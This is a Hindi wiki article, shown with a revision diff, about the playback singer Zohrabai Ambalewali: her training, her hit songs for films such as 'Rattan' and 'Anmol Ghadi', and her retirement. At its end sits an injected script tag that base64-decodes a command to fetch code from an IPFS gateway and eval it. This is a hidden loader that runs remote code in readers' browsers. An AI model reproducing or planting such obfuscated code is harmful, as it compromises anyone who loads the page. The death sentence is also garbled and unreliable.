ज़ोहराबाई अम्बालेवाली: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 47: | Line 47: | ||
{{पार्श्वगायक}} | {{पार्श्वगायक}} | ||
[[Category:जीवनी साहित्य]] | [[Category:जीवनी साहित्य]] | ||
[[Category: | [[Category:गायिका]] | ||
[[Category:सिनेमा]][[Category:हिन्दी सिनेमा]][[Category:सिनेमा कोश]] | [[Category:सिनेमा]][[Category:हिन्दी सिनेमा]][[Category:सिनेमा कोश]] | ||
[[Category:कला कोश]][[Category:संगीत कोश]] | [[Category:कला कोश]][[Category:संगीत कोश]] |
Latest revision as of 18:08, 24 April 2021
ज़ोहराबाई अम्बालेवाली
| |
पूरा नाम | ज़ोहराबाई अम्बालेवाली |
जन्म | 1918 |
जन्म भूमि | अंबाला (तत्कालीन पंजाब) |
मृत्यु | 21 फ़रवरी, 1990 |
पति/पत्नी | फक़ीर मुहम्मद |
कर्म भूमि | भारत |
कर्म-क्षेत्र | हिन्दी सिनेमा |
मुख्य फ़िल्में | 'रतन' (1944), 'ज़ीनत' (1945), 'अनमोल घड़ी' (1946) आदि। |
प्रसिद्धि | पार्श्वगायिका |
अन्य जानकारी | 'अनमोल घड़ी' (1946) में शमशाद बेगम के साथ जुगलबंदी गीत 'उड़न खटोले पे उड़ जाऊँ' ज़ोहराबाई अम्बालेवाली का मशहूर गीत है। |
ज़ोहराबाई अम्बालेवाली (अंग्रेज़ी: Zohrabai Ambalewali, जन्म- 1918; मृत्यु- 21 फ़रवरी, 1990) हिन्दी सिनेमा की पार्श्वगायिका और भारतीय शास्त्रीय गायिका थीं। वह सन 1930 और 1940 के दशक में सक्रिय थीं।
प्रारंभिक जीवन
ज़ोहराबाई वर्तमान हरियाणा के अम्बाला में पेशेवर गायकों के परिवार में जन्मी और पली-बढ़ीं, जिससे उन्हें उनका उपनाम, 'अम्बालेवाली' मिला। उन्होंने गुलाम हुसैन खान और उस्ताद नासिर हुसैन खान से अपना संगीत प्रशिक्षण शुरू किया। इसके बाद उन्हें हिन्दुस्तानी संगीत के आगरा घराने से संगीत का प्रशिक्षण दिया गया।
कॅरियर
एक युग था, जब हिन्दी सिनेमा में ठुमरी और भारी आवाज़ों के प्रमुख पार्श्वगायिकों के साथ शमशाद बेगम, खुर्शीद, अमीरबाई कर्नाटकी जैसी गायिका गा रही थीं। यह 1948 में लता मंगेशकर के आगमन से ठीक पहले था, जिन्होंने गीता दत्त और आशा भोंसले के साथ लोकप्रिय आवाज़ों को बारीक आवाज़ की ओर स्थानांतरित कर दिया। इससे उन पुराने गायकों का कॅरियर धीरे-धीरे समाप्त हो गया। उस युग की एक और प्रमुख फिल्म पार्श्वगायिका नूरजहां ने पाकिस्तान में प्रवास करने का निर्णय लिया और 2000 में मृत्यु होने तक उन्होंने पाकिस्तान में एक अत्यधिक सफल गायन कॅरियर बनाया। ज़ोहराबाई अम्बालेवाली ने 1950 में फिल्म उद्योग से संन्यास ले लिया, हालांकि उन्होंने अपनी बेटी रोशन कुमारी, जो कि एक प्रसिद्ध कथक नर्तक हैं, के प्रदर्शनों में गाना जारी रखा। रोशन ने सत्यजीत रे की फिल्म 'जलसाघर' (1958) में भी अभिनय किया था।
ज़ोहराबाई अम्बालेवाली सन 1944 में रतन के हिट संगीत से 'अँखियां मिला के जिया भरमाके' और 'ऐ दीवाली, ऐ दिवाली' के गीतों में अपनी भारी आवाज़ वाले गायन के लिए जानी जाती हैं। 'अनमोल घड़ी' (1946) में शमशाद बेगम के साथ जुगलबंदी गीत 'उड़न खटोले पे उड़ जाऊँ' भी उनका मशहूर गीत है। दोनों फिल्मों में संगीत नौशाद ने दिया था। राजकुमारी, शमशाद बेगम और अमीरबाई कर्नाटकी के साथ वह हिन्दी फिल्म उद्योग में पार्श्वगायकों की पहली पीढ़ी में शामिल थीं। हालाँकि, 1940 के दशक के अंत में गीता दत्त और लता मंगेशकर जैसी नई आवाज़ों के आने का मतलब ये हुआ कि ज़ोहराबाई अम्बालेवाली का कॅरियर खत्म हो गया।
मृत्यु
ज़ोहराबाई अम्बालेवाली 21 फ़रवरी, 1990 को हुआ।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>